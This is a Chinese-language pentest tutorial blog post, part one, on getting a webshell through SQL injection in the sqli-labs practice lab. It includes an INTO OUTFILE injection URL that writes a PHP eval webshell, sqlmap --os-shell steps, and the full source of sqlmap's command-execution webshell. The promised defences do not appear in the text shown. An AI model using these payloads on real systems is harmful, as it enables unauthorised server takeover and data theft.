当前位置: 首页 > news >正文

渗透测试之利用sql拿shell(附完整流程+防御方案)【上】

导读:

时刻保持谦逊,始终保持学习,探寻事物的本质,不要把事情复杂化

目录:

  • 前言
  • 流程
  • 通过into outfile 进行文件写入
  • 利用sqlmap 
  • 利用日志getshell

  • 利用文件包含漏洞getshell

  • 利用数据库备份getshell

前言:

为什么SQL注入能拿Shell?

        SQL注入的本质是通过恶意SQL语句操控数据库,而部分数据库支持执行系统命令或写入文件。若能利用注入点向Web目录写入一句话木马,即可通过中国菜刀/蚁剑连接获取Shell。

流程:

寻找SQL注入点 → 判断数据库类型 → 获取Web路径 → 写入WebShell → 连接shell

一、通过into outfile 进行文件写入

利用条件:

  1. 拥有网站的写入权限
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

注:

        Secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。

  • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

实际操作: 

(1)查看secure-file-priv参数的值
show global variables like '%secure%';

(2)修改secure_file_priv 的值 

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =

linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

在mysql/my.ini[mysqld]中查看是否有secure_file_priv 的参数,没有的话加上secure_file_priv = 即可,再查看secure_file_priv的值如下已经变为空了 。

(3)写入shell(以sqli-labs第七关为例)
1、判断注入点

通过输入?id=3')) and sleep(3) --+时成功延时,发现存在注入点就为3'))

2、判断列数

通过order by 3 回显正常、order by 4报错,判断为3列

3、写入shell

http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id=-3')) union select 1,<?php @eval($_POST['test']); ?>,3 into outfile 'C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\outfile.php' --+

4. 连接webshell 

使用蚁剑连接成功

二、利用sqlmap 

利用条件:

  1. 拥有网站的写入权限,能够使用单引号
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

实际操作: (以sqli-labs第一关为例)

sqlmap.py -u "http://xxx?id=1" --sql-shell  //进入命令行
(1)查看文件路径

select @@datadir;   //(mysql/data的路径,根目录一般与mysql处于同一目录)

(2)查看secure_file_priv 参数值

select @@secure_file_priv  //若为空则什么都不显示,若为NULL则显示NULL

(3)写入shell
1、--os-shell

(通过udf提权写入shell,也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件) 

2、选择语言

3、填写文件路径

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):

  • tmpbuwzg.php用来执行系统命令
  • tmpunynt.php用来上传文件

 tmpbuwzg.php文件内容为:

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
4、成功访问

访问 tmpbuwzg.php并利用cmd执行命令

访问tmpunynt.php上传文件,正常上传木马连接即可。

时间有限,未完待续~

文中如有错误,还请各位大佬批评指正,感激不尽! 

http://www.dtcms.com/a/58158.html

相关文章:

  • Visual studio + Qt 项目配置管理
  • UI自动化测试Selenium安装教程(1)
  • 《加快应急机器人发展的指导意见》中智能化升级的思考——传统应急设备智能化升级路径与落地实践
  • 【JavaEE】网络原理
  • FPGA学习篇——Verilog学习5(reg,wire区分及模块例化)
  • 【洛谷P1080国王游戏】2025-3-7
  • K8S学习之基础十三:k8s中ReplicaSet的用法
  • VUE3开发-4、组件引入
  • 《A++ 敏捷开发》- 18 软件需求
  • java 重点知识 — JVM存储模块与类加载器
  • js基本功(五)
  • 【Linux网络#13】:网络层(IP 协议 网络通信 全球网络 路由转发)
  • STM32F4 UDP组播通信:填一填ST官方HAL库的坑
  • 【JAVA架构师成长之路】【电商系统实战】第12集:秒杀系统性能优化实战(CAN + Nginx + Sentinel)
  • Myslq表的内外连接
  • tomcat安装
  • [数据抓取] Python 网络爬虫 - 学习手册
  • WIFI ESP8266以及基础功能介绍
  • Python环境安装(3.8)
  • C++学习之格斗小游戏综合案例
  • 线性代数--矩阵基本计算(加减乘法)
  • Linux 配置静态 IP
  • el-table(elementui)表格合计行使用以及滚动条默认样式修改
  • 【动态规划 矩阵快速幂】P8624 [蓝桥杯 2015 省 AB] 垒骰子|普及+
  • Zypher Network :基于零知识证明方案为 AI 赋予可信框架
  • 自我训练模型:通往未来的必经之路?
  • #UVM# 关于 config_db 机制中省略 get 语句的条件
  • 安装CUDA12.1和torch2.2.1下的DKG
  • 文件上传漏洞(upload靶场)
  • 【Hadoop】详解HDFS